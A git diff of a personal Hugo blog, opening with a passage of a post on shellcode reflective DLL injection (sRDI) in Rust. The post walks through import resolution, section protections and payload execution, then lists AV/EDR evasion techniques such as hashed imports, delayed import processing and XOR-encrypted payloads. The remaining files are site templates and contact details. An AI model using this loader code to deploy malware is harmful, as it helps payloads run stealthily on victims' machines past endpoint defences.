j_u64.min(import_count - 1); + + id_ptr.offset(j as _).swap(id_ptr.offset(i as _)); + } +} +``` + +Then, during the iteration, we call `BCryptGenRandom` with `BCRYPT_RNG_ALG_HANDLE` as `hAlgorithm` parameter to generate a random sleep duration for each iteration: + +```rust +if flags.delay { + // skip delay if winapi call fails + let rn = get_random(far_procs).unwrap_or(0); + let delay = rn % MAX_IMPORT_DELAY_MS; + (far_procs.Sleep)(delay as _); +} + +#[link_section = ".text"] +unsafe fn get_random(far_procs: &FarProcs) -> Option { + let mut buffer = [0u8; 8]; + let status = (far_procs.BCryptGenRandom)( + BCRYPT_RNG_ALG_HANDLE, + buffer.as_mut_ptr(), + buffer.len() as _, + 0, + ); + + if status != STATUS_SUCCESS { + return None; + } + + Some(u64::from_le_bytes(buffer)) +} +``` + +These DLLs are loaded into the process's address space using `LoadLibraryA`: + +```rust +let import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR = rva_mut( + base_addr_ptr as _, + data_dir_slice[IMAGE_DIRECTORY_ENTRY_IMPORT as usize].VirtualAddress as usize, +); + +if import_descriptor_ptr.is_null() { + return; +} + +while (*import_descriptor_ptr).Name != 0x0 { + let module_name_ptr = rva::(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize); + + if module_name_ptr.is_null() { + return 0; + } + + let module_handle = (far_procs.LoadLibraryA)(module_name_ptr as _); + + if module_handle == 0 { + return 0; + } + + // ... +} +``` + +Next, the we must resolve the addresses of the imported functions, essentially patching the Import Address Table (IAT). This involves utilizing the `OriginalFirstThunk`, the Relative Virtual Address (RVA) of the Import Lookup Table (ILT), which points to an array of `IMAGE_THUNK_DATA64` structures. These structures contain information about the imported functions, either as names or ordinal numbers. The `FirstThunk`, in contrast, represents the IAT's RVA, where resolved addresses are updated. Thunks here serve as vital intermediaries, ensuring the correct linking of function calls within the payload. + +In processing these `IMAGE_THUNK_DATA64` structures, we need to distinguish between named and ordinal imports. For ordinal imports, the function address is retrieved via `GetProcAddress` using the ordinal number. For named imports, the function's name is obtained from `IMAGE_IMPORT_BY_NAME`, referenced in the `AddressOfData` field of `IMAGE_THUNK_DATA64`, and its address is resolved likewise. + +Once obtained, the function address is written back into the corresponding `FirstThunk` entry, effectively redirecting the payload's function calls to the appropriate addresses: + +```rust +while (*import_descriptor_ptr).Name != 0x0 { + // ... + + // RVA of the IAT via either OriginalFirstThunk or FirstThunk + let mut original_thunk_ptr: *mut IMAGE_THUNK_DATA64 = if (base_addr_ptr as usize + + (*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize) + != 0 + { + rva_mut( + base_addr_ptr as _, + (*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize, + ) + } else { + rva_mut( + base_addr_ptr as _, + (*import_descriptor_ptr).FirstThunk as usize, + ) + }; + + let mut thunk_ptr: *mut IMAGE_THUNK_DATA64 = rva_mut( + base_addr_ptr as _, + (*import_descriptor_ptr).FirstThunk as usize, + ); + + while (*original_thunk_ptr).u1.Function != 0 { + let is_snap_res = (*original_thunk_ptr).u1.Ordinal & IMAGE_ORDINAL_FLAG64 != 0; + + // check if the import is by name or by ordinal + if is_snap_res { + // mask out the high bits to get the ordinal value and patch the address of the function + let fn_ord_ptr = ((*original_thunk_ptr).u1.Ordinal & 0xFFFF) as *const u8; + (*thunk_ptr).u1.Function = + match (far_procs.GetProcAddress)(module_handle, fn_ord_ptr) { + Some(fn_addr) => fn_addr as usize as _, + None => return 0, + }; + } else { + // get the function name from the thunk and patch the address of the function + let thunk_data_ptr = (base_addr_ptr as usize + + (*original_thunk_ptr).u1.AddressOfData as usize) + as *mut IMAGE_IMPORT_BY_NAME; + let fn_name_ptr = (*thunk_data_ptr).Name.as_ptr(); + (*thunk_ptr).u1.Function = + match (far_procs.GetProcAddress)(module_handle, fn_name_ptr) { + Some(fn_addr) => fn_addr as usize as _, + None => return 0, + }; + } + + thunk_ptr = thunk_ptr.add(1); + original_thunk_ptr = original_thunk_ptr.add(1); + } + + import_descriptor_ptr = + (import_descriptor_ptr as usize + size_of::()) as _; + } +``` + +### Protecting the relocated sections + +To ensure the seamless integration and correct functioning of the payload within the target process, setting appropriate memory protections for each relocated section is essential. + +This process begins by accessing the Section Header (`IMAGE_SECTION_HEADER`) via the `OptionalHeader` in the NT Header. Once located, we iterate through the payload's sections, gathering essential details such as each section's reference, its RVA, and the size of the data. The necessary modifications to memory protections are determined based on the `Characteristics` field of each section, guiding us to apply the correct security attributes. After that the new protections are applied using `VirtualProtect`, tailored to the specifics of each section: + +```rust +#[link_section = ".text"] +unsafe fn finalize_relocations( + base_addr_ptr: *mut c_void, + module_nt_headers_ptr: *mut IMAGE_NT_HEADERS64, + far_procs: &FarProcs, +) { + // RVA of the first IMAGE_SECTION_HEADER in the PE file + let section_header_ptr = rva_mut::( + &(*module_nt_headers_ptr).OptionalHeader as *const _ as _, + (*module_nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize, + ); + + for i in 0..(*module_nt_headers_ptr).FileHeader.NumberOfSections { + let mut protection = 0; + let mut old_protection = 0; + + let section_header_ptr = &*(section_header_ptr).add(i as usize); + let dst_ptr = base_addr_ptr + .cast::() + .add(section_header_ptr.VirtualAddress as usize); + let section_raw_size = section_header_ptr.SizeOfRawData as usize; + + let is_executable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0; + let is_readable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_READ != 0; + let is_writable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_WRITE != 0; + + if !is_executable && !is_readable && !is_writable { + protection = PAGE_NOACCESS; + } + + if is_writable { + protection = PAGE_WRITECOPY; + } + + if is_readable { + protection = PAGE_READONLY; + } + + if is_writable && is_readable { + protection = PAGE_READWRITE; + } + + if is_executable { + protection = PAGE_EXECUTE; + } + + if is_executable && is_writable { + protection = PAGE_EXECUTE_WRITECOPY; + } + + if is_executable && is_readable { + protection = PAGE_EXECUTE_READ; + } + + if is_executable && is_writable && is_readable { + protection = PAGE_EXECUTE_READWRITE; + } + + // apply the new protection to the current section + (far_procs.VirtualProtect)( + dst_ptr as _, + section_raw_size, + protection, + &mut old_protection, + ); + } +} +``` + +An important final step for each section is to call `FlushInstructionCache` to ensure the CPU sees the changes made to the memory: + +```rust +(far_procs.FlushInstructionCache)(-1, null_mut(), 0); +``` + +### Executing the payload + +Finally, with the payload meticulously mapped into the memory, we are set to execute it. + +The executed function (as well as the shuffle and sleep switches) depends on the value of the flag stored into the payload during shellcode generation: + +```rust +const DELAY_FLAG: u32 = 0b0001; +const SHUFFLE_FLAG: u32 = 0b0010; +const UFN_FLAG: u32 = 0b0100; + +const HASH_KEY: usize = 5381; + +pub struct Flags { + pub delay: bool, + pub shuffle: bool, + pub ufn: bool, +} +``` + +If the `ufn` is true, we'll run user-defined function from within the payload. Otherwise we'll stick to calling the payload's `DllMain` with `DLL_PROCESS_ATTACH`: + +```rust +if flags.ufn { + // UserFunction address = base address + RVA of user function + let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap(); + + #[allow(non_snake_case)] + let UserFunction = transmute::<_, UserFunction>(user_fn_addr); + + // execution with user data passed into the shellcode by the generator + UserFunction(user_data, user_data_len); +} else { + let dll_main_addr = base_addr_ptr as usize + + (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize; + + #[allow(non_snake_case)] + let DllMain = transmute::<_, DllMain>(dll_main_addr); + + DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _); +} +``` + +## Media + +

+ Payload's DllMain execution with the default flag (0) +

+ +

+ Payload's user defined function execution with the modified flag (1) +

+ +## Obfuscation and detection evasion techniques + +As hinted in the previous sections, the loader utilizes a few trivial obfuscation techniques: + +- Hashed import names & indirect WinAPI function calls +- Shuffled and delayed IDT iteration during IAT patching +- XOR encrypted payload shellcode + - Unique key generated during shellcode generation + +If we take a look at the whole [repository](https://github.com/17ms/airborne), we can identify the PoC injector (utilizing plain `CreateRemoteThread`) as quite apparent weak link in the chain. Projects like [BypassAV by matro7sh](https://github.com/matro7sh/BypassAV) display a variety of a lot better techniques, if one is interested in improving in that area: + + +

+ Map of essentail AV/EDR bypass methods +

+
+ +## References + +- ["An Improved Reflective DLL Injection Technique" by Dan Staples](https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html) + - [The implementation of the loader](https://github.com/dismantl/ImprovedReflectiveDLLInjection) +- [sRDI implementation in C by Nick Landers](https://github.com/monoxgas/sRDI/) +- [sRDI implementation in Rust by memN0ps](https://github.com/memN0ps/srdi-rs/) +- ["Reflective DLL Injection in C++" by Brendan Ortiz](https://depthsecurity.com/blog/reflective-dll-injection-in-c) +- [Thorough walkthrough of the PE file format by 0xRick](https://0xrick.github.io/categories/#win-internals) +- [Fisher–Yates shuffle pseudo code implementation](https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle) +- ["A tale of EDR bypass methods" by s3cur3th1ssh1t](https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/) +- [Essential AV/EDR bypass methods mapped out by matro7sh](https://matro7sh.github.io/BypassAV/) +- [MSDN Win32 API documentation](https://learn.microsoft.com/en-us/windows/win32/) diff --git a/layouts/_default/baseof.html b/layouts/_default/baseof.html new file mode 100644 index 0000000..37f5e41 --- /dev/null +++ b/layouts/_default/baseof.html @@ -0,0 +1,59 @@ + + + + + + + + + + {{- block "title" . }}{{ with .Title }}{{ . }} | {{ end }}{{ .Site.Title }}{{- end }} + + {{- partial "seo_tags.html" . -}} + + + + {{ $style := resources.Get "style.css" | minify | fingerprint }} + + + {{ if (.Page.Store.Get "hasCodeBlock") }} + {{ $syntax := resources.Get "syntax.css" | minify | fingerprint }} + + {{ end }} + + {{ with .Params.style }} + {{ $extra := resources.Get . | minify | fingerprint }} + + {{ end }} + + {{ with .OutputFormats.Get "rss" -}} + {{ printf `` .Rel .MediaType.Type .Permalink $.Site.Title | safeHTML }} + {{ end -}} + + + + {{- partial "custom_head.html" . -}} + + + +
+ {{- partial "header.html" . -}} +
+
+ {{- block "main" . }}{{- end }} +
+
+ {{- partial "footer.html" . -}} +
+ + + {{- partial "custom_body.html" . -}} + + diff --git a/layouts/_default/list.html b/layouts/_default/list.html new file mode 100644 index 0000000..7e320d9 --- /dev/null +++ b/layouts/_default/list.html @@ -0,0 +1,36 @@ +{{ define "main" }} + + {{ if .Data.Singular }} +

{{ i18n "filtering-for" }} "{{ .Title }}"

+ {{ end }} +
    + {{ range .Pages }} +
  • + + + + + + {{ if .Params.link }} + {{ .Title }} ↪ + {{ else }} + {{ .Title }} + {{ end }} +
  • + {{ else }} +
  • + {{ i18n "no-posts" }} +
  • + {{ end }} +
+ {{ if not .Data.Singular }} +
+ {{ range .Site.Taxonomies.tags }} + #{{ .Page.Title }}   + {{ end }} +
+ {{ end }} +
+{{ end }} diff --git a/layouts/_default/single.html b/layouts/_default/single.html new file mode 100644 index 0000000..6bb2ac5 --- /dev/null +++ b/layouts/_default/single.html @@ -0,0 +1,26 @@ +{{ define "main" }} +{{ if not .Params.menu }} +

{{ .Title }}

+ +{{ end }} + + {{ .Content }} + +

+ {{ range (.GetTerms "tags") }} + #{{ .LinkTitle }}   + {{ end }} +

+{{ with .Site.Social.email }} +

+ + {{ i18n "email-reply" }} ↪ + +

+{{ end }} +{{ end }} diff --git a/layouts/partials/custom_head.html b/layouts/partials/custom_head.html new file mode 100644 index 0000000..9c92fac --- /dev/null +++ b/layouts/partials/custom_head.html @@ -0,0 +1,28 @@ + + + + + + + + + + diff --git a/layouts/partials/footer.html b/layouts/partials/footer.html new file mode 100644 index 0000000..1303f79 --- /dev/null +++ b/layouts/partials/footer.html @@ -0,0 +1,6 @@ + + © {{ dateFormat "2006" now }} {{ .Site.Copyright }} / + .onion + diff --git a/layouts/partials/header.html b/layouts/partials/header.html new file mode 100644 index 0000000..b4da41b --- /dev/null +++ b/layouts/partials/header.html @@ -0,0 +1,20 @@ + + +
+ +

{{ .Site.Title }}

+
+ +
+ diff --git a/layouts/partials/nav.html b/layouts/partials/nav.html new file mode 100644 index 0000000..565bad6 --- /dev/null +++ b/layouts/partials/nav.html @@ -0,0 +1,22 @@ +{{ range .Site.Menus.main.ByWeight }} + {{ .Name }} +{{ end }} +RSS + + +{{ $translations := dict }} +{{ range .Translations }} + {{ $translations = merge $translations (dict .Language.Lang .) }} +{{ end }} + + +{{ range where .Site.Languages "Lang" "!=" .Page.Lang }} + {{ with (index $translations .Lang) }} + {{ .Language.LanguageName }} + {{ else }} + + {{ if not .Params.hideUntranslated }} + {{ .LanguageName }} + {{ end }} + {{ end }} +{{ end }} diff --git a/layouts/partials/svg.html b/layouts/partials/svg.html new file mode 100644 index 0000000..3b6968a --- /dev/null +++ b/layouts/partials/svg.html @@ -0,0 +1,351 @@ + + +{{- $icon_name := ( trim .name " " | lower ) }} +{{- if (eq $icon_name "bitcoin") -}} + +{{- else if (eq $icon_name "cv") -}} + +{{- else if (eq $icon_name "email") -}} + +{{- else if (eq $icon_name "github") -}} + +{{- else if (eq $icon_name "gitlab") -}} + +{{- else if (eq $icon_name "hackerone") -}} + +{{- else if (eq $icon_name "hackerrank") -}} + +{{- else if (eq $icon_name "hackthebox") -}} + +{{- else if (eq $icon_name "keybase") -}} + +{{- else if (eq $icon_name "leetcode") -}} + +{{- else if (eq $icon_name "lichess" ) -}} + +{{- else if (eq $icon_name "linkedin") -}} + +{{- else if (eq $icon_name "mastodon") -}} + +{{- else if (eq $icon_name "matrix") -}} + +{{- else if (eq $icon_name "monero") -}} + +{{- else if or (eq $icon_name "pgpkey") (eq $icon_name "key") -}} + +{{- else if (eq $icon_name "rootme") -}} + +{{- else if (eq $icon_name "telegram") -}} + +{{- else if (eq $icon_name "tryhackme") -}} + +{{- else if (eq $icon_name "twitter") -}} + +{{- else if (eq $icon_name "xmpp") -}} + +{{- else if (eq $icon_name "matrix") -}} + + + +{{- end -}} diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..63871d4 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,52 @@ +{ + "name": "golfed.xyz", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "devDependencies": { + "prettier": "^3.0.3", + "prettier-plugin-go-template": "^0.0.15" + } + }, + "node_modules/prettier": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.0.3.tgz", + "integrity": "sha512-L/4pUDMxcNa8R/EthV08Zt42WBO4h1rarVtK0K+QJG0X187OLo7l699jWw0GKuwzkPQ//jMFA/8Xm6Fh3J/DAg==", + "dev": true, + "bin": { + "prettier": "bin/prettier.cjs" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/prettier/prettier?sponsor=1" + } + }, + "node_modules/prettier-plugin-go-template": { + "version": "0.0.15", + "resolved": "https://registry.npmjs.org/prettier-plugin-go-template/-/prettier-plugin-go-template-0.0.15.tgz", + "integrity": "sha512-WqU92E1NokWYNZ9mLE6ijoRg6LtIGdLMePt2C7UBDjXeDH9okcRI3zRqtnWR4s5AloiqyvZ66jNBAa9tmRY5EQ==", + "dev": true, + "dependencies": { + "ulid": "^2.3.0" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "prettier": "^3.0.0" + } + }, + "node_modules/ulid": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/ulid/-/ulid-2.3.0.tgz", + "integrity": "sha512-keqHubrlpvT6G2wH0OEfSW4mquYRcbe/J8NMmveoQOjUqmo+hXtO+ORCpWhdbZ7k72UtY61BL7haGxW6enBnjw==", + "dev": true, + "bin": { + "ulid": "bin/cli.js" + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..61baadf --- /dev/null +++ b/package.json @@ -0,0 +1,6 @@ +{ + "devDependencies": { + "prettier": "^3.0.3", + "prettier-plugin-go-template": "^0.0.15" + } +} diff --git a/static/browserconfig.xml b/static/browserconfig.xml new file mode 100644 index 0000000..f9c2e67 --- /dev/null +++ b/static/browserconfig.xml @@ -0,0 +1,9 @@ + + + + + + #2b5797 + + + diff --git a/static/contact.txt b/static/contact.txt new file mode 100644 index 0000000..a085296 --- /dev/null +++ b/static/contact.txt @@ -0,0 +1,18 @@ +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA512 + +Onion: golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion +PGP: 1530F5132A1228578D2B4168995EFD5C1B532B3E +Email: hello@golfed.xyz +XMPP: shiherlis@xmpp.is +Telegram: shrlis + +Updated: 04/08/2024 + +-----BEGIN PGP SIGNATURE----- + +iHUEARYKAB0WIQQVMPUTKhIoV40rQWiZXv1cG1MrPgUCZq+NhQAKCRCZXv1cG1Mr +PicwAP4jU39miEPajVXmv0NyIpa537CHWOrKy8JykJK+ecLUMwD/RqryeCwDUtDl +VK//zbIomZx+fKtSWwCjlOpZbYayTgA= +=d4UQ +-----END PGP SIGNATURE----- diff --git a/static/images/android-chrome-192x192.png b/static/images/android-chrome-192x192.png new file mode 100644 index 0000000..8eaeca7 Binary files /dev/null and b/static/images/android-chrome-192x192.png differ diff --git a/static/images/android-chrome-512x512.png b/static/images/android-chrome-512x512.png new file mode 100644 index 0000000..fe74613 Binary files /dev/null and b/static/images/android-chrome-512x512.png differ diff --git a/static/images/apple-touch-icon.png b/static/images/apple-touch-icon.png new file mode 100644 index 0000000..6fe1d5a Binary files /dev/null and b/static/images/apple-touch-icon.png differ diff --git a/static/images/favicon-16x16.png b/static/images/favicon-16x16.png new file mode 100644 index 0000000..8a9481f Binary files /dev/null and b/static/images/favicon-16x16.png differ diff --git a/static/images/favicon-32x32.png b/static/images/favicon-32x32.png new file mode 100644 index 0000000..7fa0481 Binary files /dev/null and b/static/images/favicon-32x32.png differ diff --git a/static/images/favicon.ico b/static/images/favicon.ico new file mode 100644 index 0000000..f592df3 Binary files /dev/null and b/static/images/favicon.ico differ diff --git a/static/images/mstile-144x144.png b/static/images/mstile-144x144.png new file mode 100644 index 0000000..a91db65 Binary files /dev/null and b/static/images/mstile-144x144.png differ diff --git a/static/images/mstile-150x150.png b/static/images/mstile-150x150.png new file mode 100644 index 0000000..5f17af2 Binary files /dev/null and b/static/images/mstile-150x150.png differ diff --git a/static/images/mstile-310x150.png b/static/images/mstile-310x150.png new file mode 100644 index 0000000..d84826a Binary files /dev/null and b/static/images/mstile-310x150.png differ diff --git a/static/images/mstile-310x310.png b/static/images/mstile-310x310.png new file mode 100644 index 0000000..44bf6ee Binary files /dev/null and b/static/images/mstile-310x310.png differ diff --git a/static/images/mstile-70x70.png b/static/images/mstile-70x70.png new file mode 100644 index 0000000..54f2dd4 Binary files /dev/null and b/static/images/mstile-70x70.png differ diff --git a/static/images/safari-pinned-tab.svg b/static/images/safari-pinned-tab.svg new file mode 100644 index 0000000..77fb433 --- /dev/null +++ b/static/images/safari-pinned-tab.svg @@ -0,0 +1,189 @@ + + + + +Created by potrace 1.14, written by Peter Selinger 2001-2017 + + + + + diff --git a/static/images/understanding-srdi/bypass-av.png b/static/images/understanding-srdi/bypass-av.png new file mode 100644 index 0000000..007a5e2 Binary files /dev/null and b/static/images/understanding-srdi/bypass-av.png differ diff --git a/static/images/understanding-srdi/dllmain-exec.png b/static/images/understanding-srdi/dllmain-exec.png new file mode 100644 index 0000000..d48abc2 Binary files /dev/null and b/static/images/understanding-srdi/dllmain-exec.png differ diff --git a/static/images/understanding-srdi/pe-file-structure.png b/static/images/understanding-srdi/pe-file-structure.png new file mode 100755 index 0000000..eb5d359 Binary files /dev/null and b/static/images/understanding-srdi/pe-file-structure.png differ diff --git a/static/images/understanding-srdi/userfunction-exec.png b/static/images/understanding-srdi/userfunction-exec.png new file mode 100644 index 0000000..5855524 Binary files /dev/null and b/static/images/understanding-srdi/userfunction-exec.png differ diff --git a/static/manifest.json b/static/manifest.json new file mode 100644 index 0000000..e9473ad --- /dev/null +++ b/static/manifest.json @@ -0,0 +1,21 @@ +{ + "name": "Golfed", + "short_name": "Golfed", + "start_url": "https://golfed.xyz", + "icons": [ + { + "src": "/android-chrome-192x192.png", + "sizes": "192x192", + "type": "image/png", + "purpose": "any maskable" + }, + { + "src": "/android-chrome-512x512.png", + "sizes": "512x512", + "type": "image/png" + } + ], + "theme_color": "#242424", + "background_color": "#242424", + "display": "standalone" +} diff --git a/static/pgp.txt b/static/pgp.txt new file mode 100644 index 0000000..53be593 --- /dev/null +++ b/static/pgp.txt @@ -0,0 +1,17 @@ +-----BEGIN PGP PUBLIC KEY BLOCK----- + +mDMEZlCIMxYJKwYBBAHaRw8BAQdAdpvALccmuA1+HQH2en4H4FrvJ54273nnU40U +P7YwGbK0HFNoaWhlcmxpcyA8aGVsbG9AZ29sZmVkLnh5ej6IkwQTFgoAOxYhBBUw +9RMqEihXjStBaJle/VwbUys+BQJmr4koAhsDBQsJCAcCAiICBhUKCQgLAgQWAgMB +Ah4HAheAAAoJEJle/VwbUys+lfwBAI3/mah+EUhrWuzmICFABlshCvaMP4oLnIdI +ISHenRKkAP41YKSqVPaaBz389nz9b3Jebjt+/7z8OOcGJ5y4BnU3Dbg4BGZQiDMS +CisGAQQBl1UBBQEBB0C8+SY+LrPTOjCvKhPNoyaCW1ShHbf1R2VOtraXhXzrRwMB +CAeIeAQYFgoAIBYhBBUw9RMqEihXjStBaJle/VwbUys+BQJmUIgzAhsMAAoJEJle +/VwbUys+ylQA/RDoFx/nA6mtsUtNP+Q6aNyesa2xJE40wNwuuq3Uv4uqAP9LnfbN +DmTPRE03SVffrO/bbMnvdMTY9z6v1/4Z9XOEA7gzBGZQiLwWCSsGAQQB2kcPAQEH +QPRzZRnfUwyki8cJZMpKzrVfVslj4s+vmER6PvIxiWpuiHgEGBYKACAWIQQVMPUT +KhIoV40rQWiZXv1cG1MrPgUCZlCIvAIbIAAKCRCZXv1cG1MrPiUmAQDRzbi7Giwq +qNj2cJELpqq3jRYf99wRRuWNAhnTfYaI6QEAyVslGqgrG0iQZvYJi+I1dqTrqKZv +UjtNoI9Z/tpVBQ4= +=WDh4 +-----END PGP PUBLIC KEY BLOCK----- diff --git a/static/xmr.txt b/static/xmr.txt new file mode 100644 index 0000000..4afeaa2 --- /dev/null +++ b/static/xmr.txt @@ -0,0 +1 @@ +83B5pKorh2J58RZvF3oyxhZcxpbYnpRDCcQeETzhSKUZFvyHRWmMzepeg5NksY6f1DcCfUtQ6wphF3x3cT4bhXvWSFHe23Y \ No newline at end of file diff --git a/themes/hugo-bearcub b/themes/hugo-bearcub new file mode 160000 index 0000000..a3f0955 --- /dev/null +++ b/themes/hugo-bearcub @@ -0,0 +1 @@ +Subproject commit a3f09559e465ea1255baf83345fc7fd1b2da62b3